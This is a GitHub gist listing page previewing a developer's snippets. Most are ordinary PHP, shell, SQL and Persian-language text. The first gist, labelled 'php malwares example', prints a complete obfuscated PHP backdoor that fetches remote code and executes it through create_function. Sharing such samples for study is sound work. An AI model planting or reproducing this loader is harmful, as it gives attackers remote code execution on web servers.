Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Saleh Souzanchi zoghal

🏠
Working from home
View GitHub Profile
@zoghal
zoghal / uploader.php
Created Jul 10, 2022
php malwares example
View uploader.php
<?php $g=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};if(in_array(gettype($g)."29",$g)){$g[61]=$g[61].$g[75];$g[85]=$g[61]($g[85]);@$g=$g[85]($g[52],$g[61](${$g[50]}[20]));$g();} $zyefa = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"],"\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e","\x73\x74\x72\x5f\x72\x6f\x74\x31\x33","\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65","\x70\x61\x63\x6b","\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",@${"\x5f\x47\x45\x54"}["\x6f\x66"],);$tHFob = $zyefa[2]($zyefa[0]);$cyn = @$zyefa[4]("\x48\x2a", $tHFob);$ztKh = $zyefa[3]($cyn, true); $zyefa[7] == 1 && die($zyefa[6](__FILE__)); if (($ztKh[0] - time()) > 0 and md5(md5($ztKh[2])) === "c7416592095e3335f3b2d881342baf52") { $gP = curl_init($ztKh[1]); curl_setopt($gP, CURLOPT_RETURNTRANSFER, 1); $mcbn = curl_exec($gP);$ew = empty($mcbn)?$zyefa[6]($ztKh[1]):$mcbn;@$zyefa[1]("", "\x7d" . $zyefa[5]($ew) . "\x2f\x2a"); die;} ?>
@zoghal
zoghal / plugin.php
Created Jun 29, 2022
Maybe a new wordpress malware
View plugin.php
<?php
/**
* The plugin API is located in this file, which allows for creating actions
* and filters and hooking functions, and methods. The functions or methods will
* then be run when the action or filter is called.
*
* The API callback examples reference functions, but can be methods of classes.
* To hook methods, you'll need to pass an array one of two ways.
*
* Any of the syntaxes explained in the PHP documentation for the
@zoghal
zoghal / data.php
Created May 26, 2022
make hierarchical slug with array nodes sample
View data.php
<?php
return [
[
"value" => "dental-supplies",
"depth" => 0,
"count" => 1589
],
[
"value" => "adhesive-agents-materials",
@zoghal
zoghal / gist:d85cd44483b10de45818f5ef820a0f70
Created Oct 14, 2021
نمایندگان عضو کمیسیون ویژه بررسی #طرح_صیانت:
View gist:d85cd44483b10de45818f5ef820a0f70
نمایندگان محترم عضو کمیسیون ویژه بررسی #طرح_صیانت:
مهرداد گودرزوند چگینی
twitter: @MehrdadChegin
instagram: @goudarzvand_chegini_mehrdad
telegram: @
حسین میرزایی:
twitter: @huseinmirzaie
instagram: @huseinmirzaie_ir
@zoghal
zoghal / cpanel-chpass.sh
Created Mar 6, 2021
how to Mass Change All cPanel Account Passwords
View cpanel-chpass.sh
#! /bin/bash
# auther: saleh souzanchi(github.com/zoghal)
export ALLOW_PASSWORD_CHANGE=1
ls -1 /var/cpanel/users | while read user; do
echo "START: $user "
pass=`</dev/urandom tr -dc "!@#$&A-Za-z0-9" | head -c16`
echo "$user $pass" >> passwords.txt
/scripts/realchpass $user $pass
@zoghal
zoghal / dd
Created Oct 18, 2018
generate nested tree path in hierarchical data in mysql
View dd
-- ----------------------------
-- Table structure for acos
-- ----------------------------
DROP TABLE IF EXISTS `acos`;
CREATE TABLE `acos` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`type` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`parent_id` int(11) NULL DEFAULT NULL,
`model` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`foreign_key` int(11) NULL DEFAULT NULL,
@zoghal
zoghal / gist:7ce49044c4a9a5acb755e5592ef81d68
Last active Feb 8, 2019
دادگان پردازش زبان/برای تجزیه و تحلیل احساسات-جهت شناسایی و روانکاوی پوپولیست‌های توییتر
View gist:7ce49044c4a9a5acb755e5592ef81d68
آتيست
آداب
آدم
آدمیت
آدم‌ها
آزادی
آمریکا
آنقدر
احمق
احمق‌ها
@zoghal
zoghal / gist:06f9d8ffdbd82bbea4ce76e38a999d3b
Last active Jan 23, 2018 — forked from baghayi-gist/gist:4009084
PHP: Converting Numbers functions Persian To English & English To Persian
View gist:06f9d8ffdbd82bbea4ce76e38a999d3b
function convertNumbersFaToEn($number)
{
$persian = array('۰', '۱', '۲', '۳', '۴', '۵', '۶', '۷', '۸', '۹');
$num = range(0, 9);
return str_replace($persian, $num, $number);
}
function convertNumbersEnToFA($number)
{
$persian = array('۰', '۱', '۲', '۳', '۴', '۵', '۶', '۷', '۸', '۹');
$num = range(0, 9);
View gist:51abc81a20a69308039af46844babed7
<html dir="rtl">
<body>
<p>کمتر از دوسال پیش برای ساخت یک پوستر نیاز به قلم آزاد داشتم و پس از کمی جست‌وجو فهمیدم قلم‌های فارسی با مجوز آزاد بسیار کم هستند و آن‌هایی هم که هستند بسیار نامناسب!</p>
<p>این داستان هم زمان بود با حضور خواهرم در دو سالانه سرو نقره‌ای که نگاه ویژه‌ای به قلم داشت. همین طور که خواهرم درگیر دوسالانه بود و گاهی خبرهایی راجع به قلم‌ها بهم می‌داد با خودم گفتم چرا منتظر باشم تا شــــایـد یکی دیگر این مشکل را حل کند؟ چرا من برایش تلاش نکنم؟ این شد که تصمیم گرفتم تا حد توانم برای حل این مشکل دست به کار شوم.</p>
<p>برایم خیلی واضح بود که از ما برنامه‌نویس‌ها طراح قلم در نمی‌آید و این فکر که خودم بروم قلم طراحی کنم را هم کلا دور ریختم. از همان اول به دنبال راهی برای جذب طراح‌های قلم برای طراحی قلمی با مجوز آزاد بودم.</p>
<p>با کمی جست‌وجو و تحقیق فهمیدم مشکل تنها برای ما آزادکارها نیست و کلا قلم فارسی مناسب بسیار کم داریم حتی می‌شود گفت برای صفحه‌های نمایش اصلا نداریم.</p>
<p>شاید این مورد رو حس نکرده باشید بگذارید با چند مثال ساده مساله را باز کنم.</p>
<p>تا حالا چند بار شده خطی از متنی را ب
@zoghal
zoghal / debug.py
Created Oct 8, 2016 — forked from sah/debug.py
some handy functions for debugging python code
View debug.py
# Copyright © 2011, 2012, 2013, 2014 Sauce Labs Inc
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in